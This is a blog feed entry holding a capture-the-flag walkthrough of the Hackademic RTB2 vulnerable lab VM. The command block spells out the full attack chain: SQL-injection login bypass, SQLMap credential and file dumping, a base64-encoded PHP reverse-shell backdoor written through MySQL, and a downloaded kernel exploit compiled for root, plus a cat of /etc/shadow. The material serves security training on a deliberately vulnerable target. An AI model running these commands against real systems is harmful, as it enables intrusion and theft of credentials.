<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7536652305346692317</id><updated>2012-01-31T18:54:29.260Z</updated><category term='Bypassing Security'/><category term='chap2asleap'/><category term='Vs'/><category term='mitm'/><category term='wordlists'/><category term='Review'/><category term='OSCP'/><category term='metasploit-FakeUpdate'/><category term='pwnos'/><category term='VulnImage'/><category term='evilDEB'/><category term='Encryption'/><category term='Site News'/><category term='FakeAP_pwn'/><category term='sitm'/><category term='sickfuzz'/><category term='wiffy'/><category term='de-ice'/><category term='Dictionaries'/><category term='Holynix'/><category term='metasploitable'/><category term='Install'/><category term='wireless'/><category term='Scripts'/><category term='Kioptrix'/><category term='windows'/><category term='EvilGrade'/><category term='Hackademic'/><category term='Privilege Escalation'/><category term='OSs'/><category term='boot2root'/><category term='Video'/><category term='Analysis'/><category term='BMMVTU'/><title type='text'>g0tmi1k</title><subtitle type='html'>Have you... g0tmi1k?
Computer and Network Security</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>68</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-6929862858552940320</id><published>2012-01-06T19:19:00.000Z</published><updated>2012-01-07T09:42:50.768Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><category scheme='http://www.blogger.com/atom/ns#' term='Hackademic'/><title type='text'>[Video] Hackademic RTB2</title><content type='html'>&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;br /&gt;Watch video on-line:&amp;nbsp;&lt;a href="http://blip.tv/g0tmi1k/hackademic-rtb2-5868340"&gt;http://blip.tv/g0tmi1k/hackademic-rtb2-5868340&lt;/a&gt;&lt;a href="http://www.mediafire.com/?70m714m55v4c6df"&gt;&lt;/a&gt;&lt;br /&gt;Download video:&amp;nbsp;&lt;a href="http://www.mediafire.com/?pxf93lfq96a61ql"&gt;http://www.mediafire.com/?pxf93lfq96a61ql&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFguaXGAA.html?p=1" width="500"&gt;&lt;/iframe&gt;&lt;embed data="https://blip.tv/api.swf#hdkFguaXGAA" src="http://a.blip.tv/api.swf#hdkFguaXGAA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Brief Overview&lt;/div&gt;&lt;a href="http://g0tmi1k.blogspot.com/search/label/Hackademic"&gt;Hackademic&lt;/a&gt;&amp;nbsp;is the second challenge in a series of "&lt;a href="http://g0tmi1k.blogspot.com/search/label/boot2root"&gt;boot-to-root&lt;/a&gt;" operating systems which has purposely designed weakness(es) built into it. The&amp;nbsp;user's end goal is to interact with system using the highest user privilege they can reach.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Method&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Scanned network for the target [Netdiscover]&lt;/li&gt;&lt;li&gt;Port scanned the target [UnicornScan]&lt;/li&gt;&lt;li&gt;Banner grabbed the services&amp;nbsp;running on the open port(s) [NMap]&lt;/li&gt;&lt;li&gt;Interacted with the&amp;nbsp;web server &amp;amp; bypass the login screen [Firefox &amp;amp; Burp Proxy]&lt;/li&gt;&lt;li&gt;Decoded hidden message [Burp Proxy&lt;i&gt;&amp;amp; Xlate&lt;/i&gt;]&lt;/li&gt;&lt;li&gt;'Port knock' certain ports [Netcat]&lt;/li&gt;&lt;li&gt;Discovered &amp;amp; exploit an SQL injection&amp;nbsp;vulnerably and download the configuration files [SQLMap]&lt;/li&gt;&lt;li&gt;Inserted a encoded web shell backdoor [Pentestmonkey's PHP-Reverse-Shell &amp;amp; Metasploit]&lt;/li&gt;&lt;li&gt;Escalated privileges via a vulnerable kernel version [CAN BCM exploit]&lt;/li&gt;&lt;li&gt;&lt;i&gt;Accessed the 'flag' [Decoded image file]&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Tools&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://ghostinthelab.wordpress.com/2011/09/06/hackademic-rtb1-root-this-box/"&gt;Hackademic.RTB2.zip&lt;/a&gt;&amp;nbsp;&lt;i&gt;&lt;span style="font-size: xx-small;"&gt;(MD5: 4c35e875e0ae2f872af6751f259b82b7)&lt;/span&gt;&lt;/i&gt;&lt;i&gt;.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;A virtual machine&amp;nbsp;&lt;i&gt;(Example:&amp;nbsp;&lt;a href="http://www.filehippo.com/download_vmware_player/"&gt;VMware Player&lt;/a&gt;&amp;nbsp;or&amp;nbsp;&lt;i&gt;&lt;a href="http://www.filehippo.com/download_virtualbox/"&gt;Virtual Box&lt;/a&gt;&lt;/i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.nixgeneration.com/%7Ejaime/netdiscover/"&gt;Netdiscover&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;i&gt;(Can be found in&amp;nbsp;&lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 5&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://www.unicornscan.org/" style="font-style: normal;"&gt;UnicornScan&lt;/a&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nmap.org/"&gt;NMap&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://www.mozilla.org/en-US/firefox"&gt;Firefox&amp;nbsp;&lt;/a&gt;–&amp;nbsp;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://portswigger.net/burp/proxy.html"&gt;Burp Proxy&lt;/a&gt; –&amp;nbsp;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt; &lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://home.paulschou.net/tools/xlate/"&gt;Xlate&lt;/a&gt;&amp;nbsp;- optional&amp;nbsp;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://netcat.sourceforge.net/"&gt;Netcat&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://sqlmap.sourceforge.net/"&gt;SQLMap &lt;/a&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell"&gt;PHP-Reverse-Shell&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://metasploit.com/"&gt;Msfvenom&amp;nbsp;&lt;/a&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Part of Metasploit &amp;amp; Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://www.exploit-db.com/exploits/14814/"&gt;CAN BCM&lt;/a&gt; –&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Found on exploit-db.com &amp;amp; Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.opinionatedgeek.com/dotnet/tools/base64decode/"&gt;Base64Decode&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Walkthrough&lt;/div&gt;To begin&amp;nbsp;the attack the target needs to be located on the network. The attacker uses "Netdiscover" as it is able to quickly list all IP's, MAC addresses and known vendors. As the attacker knows the target hasn't spoofed their MAC address and are aware they are using VMware, the attacker has&amp;nbsp;successfully&amp;nbsp;identified the target due to only one&amp;nbsp;VMware&amp;nbsp;vendor being listed.&lt;br /&gt;&lt;br /&gt;The attacker now focuses on the target by port scanning every TCP &amp;amp; UDP port. "UnicornScan" shows two open ports, TCP 80 (HTTP) &amp;amp; UDP 5353 (MDNS), which the attacker then&amp;nbsp;verifies by using "nmap". During nmap's scan the attacker takes&amp;nbsp;advantage&amp;nbsp;of its scripting engine to detect which service is running on what port as well as to banner grab&lt;i&gt; (which could&amp;nbsp;possibly&amp;nbsp;identify the software being used &amp;amp; its version)&lt;/i&gt;. Depending on the outcome of the scan, nmap then executes any other script(s). In this instance the &lt;a href="http://nmap.org/nsedoc/scripts/http-methods.html"&gt;http methods&lt;/a&gt; was detected&amp;nbsp;&lt;i&gt;(which shows what options are supported by the HTTP server)&lt;/i&gt; along with the page's title. &lt;i&gt;Nmap also tries to fingerprint the&amp;nbsp;operating&amp;nbsp;system (Linux 2.6.17-2.6.36).&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;By inspecting the web service using&amp;nbsp;"firefox"&amp;nbsp;the attacker is able to see if any web application is running and how they can interact with it. The web server&amp;nbsp;responds and presents them with a page that has a message from the target's author and a login screen.&lt;br /&gt;&lt;br /&gt;The attacker starts "Burp Proxy" and configures it along with firefox to allow burp to interpret &amp;amp; monitors the traffic between the attacker and the target. When the attacker enters an incorrect login, burp is able to capture the request and response allowing for the attacker to control and repeat using burp's "repeater" function. The attacker then repeats the same incorrect login request to&amp;nbsp;verify the setup and then again however alters the password to reflex '&lt;i&gt;standard/common&lt;/i&gt;' values to bypass login screens. &lt;i&gt;Editor's note: As it turns out, there isn't a backend database powering the login. The valid&amp;nbsp;credentials&amp;nbsp;have been hard coded into the source code (File: /var/www/welcome/check.php - Line: 17-20). Unless it's&amp;nbsp;exactly&amp;nbsp;the same (including case and spaces), it will not work!&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #38761d; font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style="color: #38761d; font-family: 'Courier New',Courier,monospace;"&gt;$pass_answer = "' or 1=1--'";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d; font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style="color: #38761d; font-family: 'Courier New',Courier,monospace;"&gt;$pass_answer_2 = "' OR 1=1--'";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #38761d; font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style="color: #38761d; font-family: 'Courier New',Courier,monospace;"&gt;if($_POST['password'] == $pass_answer or $_POST['password'] == $pass_answer_2){&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After bypassing the login screen, the attacker is able to see the hidden message. When analysing the message, the attacker believes that the string has been HEX encoded, however due to the "%" which separates&amp;nbsp;each value, the attacker uses burp's URL to decode the message. The output of the message still looks encoded to the attacker and repeats decoding the message, using burp's HEX mode. The output produce is now (&lt;i&gt;partly&lt;/i&gt;) '&lt;i&gt;readable&lt;/i&gt;'. The attacker remembered nmap reported one port as closed &amp;amp; due to the message repeating the phrase "knock", they start to suspect that the rest of the encoded message&amp;nbsp;relates to the technique called '&lt;i&gt;port knocking&lt;/i&gt;'.&amp;nbsp;As the rest of the encoded message uses just '0' &amp;amp; '1' the attacker believes the message to be encoded in a binary format and attempts to decode it. The result produced looks familiar to the attacker and&amp;nbsp;&lt;a href="http://www.ascii.cl/htmlcodes.htm"&gt;recognises some values&lt;/a&gt; as &lt;i&gt;'html'&lt;/i&gt;, however due to the &lt;i&gt;'formatting/markings'&lt;/i&gt;&amp;nbsp;burp is unable to decode it. The attacker takes the binary message and adds &lt;i&gt;'&amp;amp;#'&amp;nbsp;&lt;/i&gt;before every binary block (8 values) and '&lt;i&gt;;&lt;/i&gt;' at the end of them too. This signals to burp to interpret the format differently and burp handles the message as html code. Upon decoding, the attacker sees a group of four values, all less than 65535 as well as&amp;nbsp;believing&amp;nbsp;the message is unable to be decoded any more.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;The attacker uses the web site, "paulschou.net", to&amp;nbsp;simplify the decoding process and is able to decode all the messages without having to alter the format at any stage to reach the same result.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The attacker scans the closed TCP port once more and by using "netcat" the attacker is able open to a port of their choice. They create a loop to connect to each of the ports which were decoded. Afterwards they repeat the same scan as before however this time they discover that the port response is open. Nmap reports that the service is HTTP, using &lt;i&gt;'Apache httpd 2.2.14 (ubuntu)'&lt;/i&gt;, thus the same scripts are executed. &lt;i&gt;&lt;a href="http://nmap.org/nsedoc/scripts/http-robots.txt.html"&gt;http-robots&lt;/a&gt;&amp;nbsp;has detected that there is a /robots.txt files located and reports which folders have been forbidden&amp;nbsp;to be indexed by internet spiders.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Moving back to firefox, the attacker restores its proxy configuration as burp isn't needed and tries to connect to the newly discovered web service on the non-default port and is presented with a Joomla 1.5 instance. Upon exploring the web application they try to alter requested URLs and soon discover an MySQL error.&lt;br /&gt;&lt;br /&gt;"SQLMap" automates the procedure of database injection dramatically speeding up the attack. The attacker starts to emulate the back end database and discovers software&amp;nbsp;versions, the operating system, current database, current user and if they are a database administrator. &lt;i&gt;Afterwards the attacker discovers the password hash for the database&amp;nbsp;administrator. Next the attacker starts to explore and view the contents of the Joomla database itself and as a result discovers the user&amp;nbsp;credentials for the web application. &lt;/i&gt;The attacker&amp;nbsp;continues&amp;nbsp;using the SQL injection by viewing the configuration files for the system. They start off by locating their own local configuration files for their web service &lt;i&gt;(which is in the same path as the target). &lt;/i&gt;Upon reading the target's contents they soon learn the location of the web root for each web service running. Using this, the attacker is able to read the configuration file which is used to store the database credentials as Joomla needs to be able to interact with the MySQL database. The attacker uses the default filename for the Joomla's configuring file and then views the contents to reveal the&amp;nbsp;credentials&amp;nbsp;in plain text.&lt;br /&gt;&lt;br /&gt;"PHPMyAdmin" is a web based GUI interface to manage MySQL databases, which the attacker discovers is running on one of the web services. Using the&amp;nbsp;credentials gathered from the&amp;nbsp;configuration&amp;nbsp;file, the attacker is able to login as the database administrator. The attacker crafts an SQL query to&amp;nbsp;attempt to write a PHP file into the root web folder and then access it using firefox. The result being the attacker is able to write&amp;nbsp;files&amp;nbsp;and execute PHP commands.&lt;br /&gt;&lt;br /&gt;To be able to&amp;nbsp;remotely&amp;nbsp;interactive with the target, the attacker chooses to use "PHP-pentest-monkey" shell. The attacker creates a clone copy to work on and edits the file with their IP address as the shell will be remotely connecting back to them &lt;i&gt;(and the shell needs to know where the attacker is),&amp;nbsp;&lt;/i&gt;altering the port&amp;nbsp;as well as&amp;nbsp;removing the start &amp;amp; end PHP&amp;nbsp;statements&amp;nbsp;as they will already be in place. Upon updating the file, the attacker encodes the shell using base64 via "msfvenom" as this will not affect the SQL statement which will be used to create the file. Before triggering the web shell, the attacker uses netcat again to listen on the same port used in the web shell. Once everything is in place, the attacker calls the web shell, causing the target to execute the PHP function to decode the backdoor, making a connection back to the attacker. This gives the attacker command line access to the target with the same permission as the web server.&lt;br /&gt;&lt;br /&gt;The attacker wishes to gain deeper access into the system by escaping privileges. To do so one common method is by exploiting the kernel &lt;i&gt;(this ONLY works if it is the 'correct' version!)&lt;/i&gt;. The attacker finds the target's kernel version, searches their local copy of a public exploit database "exploit-db" and discovers a potential&amp;nbsp;exploit which matches the kernel version. The attacker checks that the exploit code doesn't contain any 'non-code' at the top of the file as it would stop the file compiling (&lt;i&gt;it is common with exploits to have 'shout outs' here)&lt;/i&gt;, copies a version to their local web root folder and gives permission to the file to make sure every user has access to the file. After everything is ready the attacker then starts a web server.&lt;br /&gt;&lt;br /&gt;Controlling the target the attacker is able to locate a folder which they have permission to write to and execute files from. Afterwards they instruct the target to download the exploit code from the attacker and compile it. Upon execution the attacker has now got root access on the target's machine.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;When they explore root's personal home folder, they notice the "key" file. The attacker notices the text file extension and views the content, upon doing so; they see the message has been encoded. Due to the use of "=" at the end of the message, it is a common sign that base64 has been used. The attacker pastes the message back into burp and decodes it. Seeing the mention of "png", hints the decoded value is an image file. After using the web site "opinionatedgeek.com", to decode and download the file, the attacker checks the file signature. It appears to be a valid png file format and opens it up to&amp;nbsp;reveal&amp;nbsp;the 'flag/proof', indicating the end goal.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over...&lt;i&gt;again&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Commands&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;"&gt;&lt;pre class="alt2" dir="ltr" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 200px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 600px;"&gt;netdiscover -r 192.168.0.1/24&lt;br /&gt;us -H -msf -Iv 192.168.0.112 -p 1-65535 &amp;amp;&amp;amp; us -H -mU -Iv 192.168.0.112 -p 1-65535&lt;br /&gt;nmap -p 1-65535 -T4 -A 192.168.0.112   # Scans very quick, didn't need ETA via -v&lt;br /&gt;BT -&amp;gt; firefox -&amp;gt; 192.168.0.112&lt;br /&gt;BT -&amp;gt; BackTrack -&amp;gt; Vulnerability Assessment -&amp;gt; Web Application Assessment -&amp;gt; Web Application Proxies -&amp;gt; burpsuite    # java -jar /pentest/web/burpsuite/burpsuite_v1.4.01.jar  &lt;br /&gt;// Firefox -&amp;gt; Edit -&amp;gt; Preferences -&amp;gt; Advance -&amp;gt; Network -&amp;gt; Settings -&amp;gt; Manual proxy configurations -&amp;gt; 127.0.0.1:8080&lt;br /&gt;// Firefox -&amp;gt; admin:password&lt;br /&gt;// burp -&amp;gt; target -&amp;gt; site map -&amp;gt; right click -&amp;gt; send to repeater. Repeater -&amp;gt; request -&amp;gt; params. Username: admin Password: ' OR 1=1--' etc etc    # NOT 'OR 1=1--' (User can be anything)&lt;br /&gt;Copy (black) test -&amp;gt; decoder -&amp;gt; url -&amp;gt; ASCII HEX &lt;br /&gt;echo "&amp;lt;binary&amp;gt;" | sed "s/   /;\&amp;amp;#/g;s/ //g;s/^/&amp;amp;#/;s/$/;/"   # Somehow its do-able in burp, Just can't figure it out! =(&lt;br /&gt;// Burp -&amp;gt; Binary -&amp;gt; HTML&lt;br /&gt;// Firefox -&amp;gt; Google -&amp;gt; ascii convert online -&amp;gt; http://home2.paulschou.net/tools/xlate/ -&amp;gt; HEX -&amp;gt; HEX -&amp;gt; Binary&lt;br /&gt;nmap -p 666 -T4 -A -v 192.168.0.112&lt;br /&gt;for x in 1001 1101 1011 1001; do&lt;br /&gt;   nc -z 192.168.0.112 $x&lt;br /&gt;done&lt;br /&gt;nmap -p 666 -T4 -A -v 192.168.0.112&lt;br /&gt;// firefox -&amp;gt; 192.168.0.112:666  -&amp;gt; List of content items...&lt;br /&gt;cd /pentest/database/sqlmap&lt;br /&gt;python sqlmap.py -u "http://192.168.0.112:666/index.php?option=com_abc&amp;amp;view=abc&amp;amp;letter=List+of+content+items..." -p letter --banner --current-db --current-user --is-dba&lt;br /&gt;python sqlmap.py -u "http://192.168.0.112:666/index.php?option=com_abc&amp;amp;view=abc&amp;amp;letter=List+of+content+items..." -v 0 --passwords&lt;br /&gt;python sqlmap.py -u "http://192.168.0.112:666/index.php?option=com_abc&amp;amp;view=abc&amp;amp;letter=List+of+content+items..." -v 0 --dbs&lt;br /&gt;python sqlmap.py -u "http://192.168.0.112:666/index.php?option=com_abc&amp;amp;view=abc&amp;amp;letter=List+of+content+items..." -v 0 --tables -D joomla&lt;br /&gt;python sqlmap.py -u "http://192.168.0.112:666/index.php?option=com_abc&amp;amp;view=abc&amp;amp;letter=List+of+content+items..." -v 0 --dump -D joomla -T jos_users&lt;br /&gt;python sqlmap.py -u "http://192.168.0.112:666/index.php?option=com_abc&amp;amp;view=abc&amp;amp;letter=List+of+content+items..." -v 0 --file-read=/etc/passwd&lt;br /&gt;cat /pentest/database/sqlmap/output/192.168.0.112/files/_etc_passwd&lt;br /&gt;find / -name apache2.conf&lt;br /&gt;python sqlmap.py -u "http://192.168.0.112:666/index.php?option=com_abc&amp;amp;view=abc&amp;amp;letter=List+of+content+items..." -v 0 --file-read=/etc/apache2/apache2.conf&lt;br /&gt;tail /pentest/database/sqlmap/output/192.168.0.112/files/_etc_apache2_apache2.conf&lt;br /&gt;python sqlmap.py -u "http://192.168.0.112:666/index.php?option=com_abc&amp;amp;view=abc&amp;amp;letter=List+of+content+items..." -v 0 --file-read=/etc/apache2/sites-enabled/000-default&lt;br /&gt;grep -i "DocumentRoot" /pentest/database/sqlmap/output/192.168.0.112/files/_etc_apache2_sites-enabled_000-default&lt;br /&gt;python sqlmap.py -u "http://192.168.0.112:666/index.php?option=com_abc&amp;amp;view=abc&amp;amp;letter=List+of+content+items..." -v 0 --file-read=/var/www/configuration.php    # Joomla default&lt;br /&gt;cat /pentest/database/sqlmap/output/192.168.0.112/files/_var_www_configuration.php | grep -i pass -A 1 -B 1&lt;br /&gt;// firefox -&amp;gt; 192.168.0.112:666/phpmyadmin/   # root yUtJklM97W&lt;br /&gt;cp /pentest/backdoors/web/webshells/php-reverse-shell.php /tmp/bd.php&lt;br /&gt;cd /tmp&lt;br /&gt;nano +w bd.php    # edit IP address&lt;br /&gt;msfvenom -p generic/custom -e php/base64 -f raw PAYLOADFILE=bd.php&lt;br /&gt;nc -lvvp 1234&lt;br /&gt;sql -&amp;gt; select "&amp;lt;?php msfoutput ?&amp;gt;" INTO OUTFILE "/var/www/backdoor.php";&lt;br /&gt;#w; last; uname -a; id; ls -lah;&lt;br /&gt;#netstat -antp&lt;br /&gt;#ps aux&lt;br /&gt;##ls -lahR /home&lt;br /&gt;uname -r&lt;br /&gt;&lt;br /&gt;cd /pentest/exploits/exploitdb&lt;br /&gt;cat files.csv | grep "linux,local" | grep "Privilege Escalation" | grep 2.6.3&lt;br /&gt;head platforms/linux/local/14814.c&lt;br /&gt;cp platforms/linux/local/14814.c /var/www/root.c&lt;br /&gt;chmod 755 /var/www/root.c&lt;br /&gt;/etc/init.d/apache2 start&lt;br /&gt;&lt;br /&gt;ls -lah /&lt;br /&gt;cd /tmp&lt;br /&gt;wget 192.168.0.162/root.c&lt;br /&gt;gcc root.c -o root&lt;br /&gt;./root&lt;br /&gt;whoami&lt;br /&gt;id &amp;amp;&amp;amp; /sbin/ifconfig &amp;amp;&amp;amp; uname -a &amp;amp;&amp;amp; cat /etc/shadow &amp;amp;&amp;amp; ls -lah /root&lt;br /&gt;cat /root/Key.txt&lt;br /&gt;// Burp -&amp;gt; Decoder -&amp;gt; Base64&lt;br /&gt;&lt;br /&gt;#---Notes---&lt;br /&gt;#Joomla: 1.5.22      # User: Administrator&lt;br /&gt;#phpMyAdmin: 3.3.2.0&lt;br /&gt;#curl http://192.168.0.112:666/phpmyadmin/changelog.php&lt;br /&gt;#curl http://192.168.0.112:666/robots.txt&lt;br /&gt;#curl http://192.168.0.112:666/htaccess.txt&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Notes&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;When starting the VM for the first time with VMware, select "I Moved It" -&amp;nbsp;&lt;i&gt;otherwise it could cause issues (e.g. the target will not be visible!).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Some mistakes in the video are more obvious.&lt;/li&gt;&lt;li&gt;Instead of using "PHP-Reverse-Shell" &amp;amp; "netcat", "PHP Meterpreter" &amp;amp; "Metasploit" could of been used.&lt;/li&gt;&lt;li&gt;It is worth downloading Joomla to be familiar with a default configuration.&lt;/li&gt;&lt;li&gt;The target uses DHCP to obtain an IP address.&lt;/li&gt;&lt;li&gt;The selection area to record was not in&amp;nbsp;align&amp;nbsp;when I recorded it&lt;/li&gt;&lt;/ul&gt;Song(s): &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/18373909/Hello/Product.html?aid=18373463"&gt;Martin Solveig &amp;amp; Dragonette - Hello&lt;/a&gt; &amp;amp;&amp;nbsp;&lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/10928635/What-is-love/Product.html?aid=10926905"&gt;Klaas meets Haddaway - What is love (Klaas Radio Edit)&lt;/a&gt;&amp;nbsp;&amp;amp;&amp;nbsp;&lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/8606443/The-Black-Pearl/Product.html?aid=8606136"&gt;Scotty - The Black Pearl (Dave Darell Radio Edit)&lt;/a&gt;&amp;nbsp;&amp;amp;&amp;nbsp;&lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/26669230/In-the-Hall-of-the-Mountain-King/Product.html?aid=26667075"&gt;Trent Reznor &amp;amp; Atticus Ross - In the Hall of the Mountain King (The Social Network)&lt;/a&gt;&amp;nbsp;&amp;amp; &lt;a href="http://itunes.apple.com/us/album/saw-iii-original-motion-picture/id380087424"&gt;Charlie Clouser -&amp;nbsp;The Final Zepp&lt;/a&gt;&lt;br /&gt;Video length: 13:47&lt;br /&gt;Capture length: 64:30&lt;br /&gt;Blog Post:&amp;nbsp;&lt;a 